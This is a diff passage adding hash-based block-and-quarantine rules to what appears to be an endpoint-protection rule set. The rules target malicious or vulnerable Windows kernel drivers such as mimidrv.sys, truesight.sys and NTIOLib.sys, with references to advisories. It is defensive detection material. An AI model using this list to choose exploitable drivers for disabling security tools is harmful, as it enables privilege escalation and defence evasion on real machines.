+  "creation_date": "2026-03-23T11:45:30.467330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2d3101ef507e6d9ae5475d8fd9b1ca6d2548fe0454c25389d6981f1b33f88f7",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b80d1e6d-32be-53a9-a13b-0f98ae3b18bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967967Z",
+  "creation_date": "2026-03-23T11:45:29.967969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0988d366572a57b3015d875b60704517d05115580678e8f2e126f771eda28f7b",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b80f62f7-adde-5c34-bfef-112b524175cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497559Z",
+  "creation_date": "2026-03-23T11:45:31.497562Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b026fbaa7607d48e26f291e514de72700c84fde7f4f417123525407707a155f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b81d601b-185b-5e90-9cac-f96693cbc52f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472052Z",
+  "creation_date": "2026-03-23T11:45:31.472055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06a39013cc3c9485537d7e8bbfab5fecd7046372e38bcf921182994883951198",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8235725-f2c4-5330-9ef6-2c3bdca7e808",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145451Z",
+  "creation_date": "2026-03-23T11:45:32.145453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebe86f9f6c9c6639f3327f210c2a945bbbf069f505b1b85e3aee8d1cddf702f9",
+  "comment": "Malicious Kernel Driver (aka driver_206006a1.sys) [https://www.loldrivers.io/drivers/9e0a1bae-6509-41fd-a5bf-dfe6cf388682/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b83eef7a-8f92-53d0-aad1-f7785ff427a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825725Z",
+  "creation_date": "2026-03-23T11:45:30.825728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da08b5a88175b58d0f7fcefeb0eef3efe8ae12e6c04c6f60e88cc4e860e2c277",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8577b45-ccd7-59f8-817e-29c753804b74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152418Z",
+  "creation_date": "2026-03-23T11:45:31.152421Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae97c26f8724639a6b4e7644625a82c6b548d048b0a89c8f8bb6c62f7d7fe84b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b85bc58f-034a-5ecc-96af-c16494b0ee29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824845Z",
+  "creation_date": "2026-03-23T11:45:31.824849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824859Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "579ba5f388f4339330735b738f56641c074d5ebeafcce468a578b4cc1517b38b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8774bcf-44e2-57fc-9191-e7381e474f73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614902Z",
+  "creation_date": "2026-03-23T11:45:29.614906Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614912Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf4b5fa853ce809f1924df3a3ae3c4e191878c4ea5248d8785dc7e51807a512b",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b88098fd-f140-5aca-aade-096954713ea8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456132Z",
+  "creation_date": "2026-03-23T11:45:30.456135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "274340f7185a0cc047d82ecfb2cce5bd18764ee558b5227894565c2f9fe9f6ab",
+  "comment": "Vulnerable Kernel Driver (aka fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys) [https://www.loldrivers.io/drivers/c7f76931-e24c-4d94-9e1f-5a083da581b4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8855b70-3f0c-5a37-881d-fb631a667460",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482825Z",
+  "creation_date": "2026-03-23T11:45:31.482829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482838Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd9ff740c73b48deb5dde01edb84e4961aff64152fcc405edff5497b4cac2418",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b88c08be-f404-58a2-9249-cf9c85dae775",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980306Z",
+  "creation_date": "2026-03-23T11:45:29.980308Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980313Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9724488ca2ba4c787640c49131f4d1daae5bd47d6b2e7e5f9e8918b1d6f655be",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b893c1a0-6640-5220-a74b-6ec21d9dc4e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147113Z",
+  "creation_date": "2026-03-23T11:45:32.147115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcc5394705e552d0312592c507b71a6bd921782f82bb5b4acc721d2f056030a5",
+  "comment": "Vulnerable Kernel Driver (aka LnvMSRIO.sys) [https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8babd50-004a-5bea-af55-061dd1922a6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453884Z",
+  "creation_date": "2026-03-23T11:45:30.453887Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1a6c1e23108ede9167ffdf9ebc6af64a011bdafc57d25f84afab6c021ae7741",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8c10f77-8c2a-500e-9efb-80e9445aec96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615048Z",
+  "creation_date": "2026-03-23T11:45:29.615050Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615055Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd8669794c67b396c12fc5f08e9c004fdf851a82faf302846878173e4fbecb03",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8d1d6bb-3817-5fd9-a720-fa8e09eb6cdd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826384Z",
+  "creation_date": "2026-03-23T11:45:31.826386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826391Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "749216268b2e85c3528db4be76eda878d8c6c3605c57fa2c7a5acd11074deb71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8d3d4a7-028b-5769-9c6b-3cfe2dff7a5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811363Z",
+  "creation_date": "2026-03-23T11:45:31.811365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b91d3fb5e9bfafa19547e604113f506f1d4ad1d108157fbbef81a82708e8d6d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8d82f74-d647-5a8b-8c89-c27e09f96f12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493597Z",
+  "creation_date": "2026-03-23T11:45:31.493600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493609Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88010b12941fee7b9f24cc6a57f990826bed907073ff55ca0f325a1aa2c23a0b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8f1634e-2502-5dae-aac9-22e2a4371d91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493087Z",
+  "creation_date": "2026-03-23T11:45:31.493090Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493099Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "101b95e50f005d464c583d826574639ae8f1d03fa2cc83345ae2b8b53f93a772",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8f6de7d-77c9-5a2a-8966-3fd8b03ee0a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616185Z",
+  "creation_date": "2026-03-23T11:45:29.616187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63041a13d1658e22fecc34706e98ab08b54b94e7d028bf2b1308ff85995a01c3",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8f98719-b497-5bbf-9a93-1d0e9679f5de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476242Z",
+  "creation_date": "2026-03-23T11:45:30.476245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1c78c8ba70368e96515fb0596598938a8f9efa8f9f5d9e068ee008f03020fee",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b8ff4ac5-46ca-5ad3-993a-f94b148ac0c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614631Z",
+  "creation_date": "2026-03-23T11:45:29.614633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f1ff29e2e710f6d064dc74e8e011331d807c32cc2a622cbe507fd4b4d43f8f4",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9041cd3-6bef-5804-8faf-c6883393024e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833865Z",
+  "creation_date": "2026-03-23T11:45:30.833885Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833894Z",
+  "rule_level": null,
+  "rule_level_override": null,
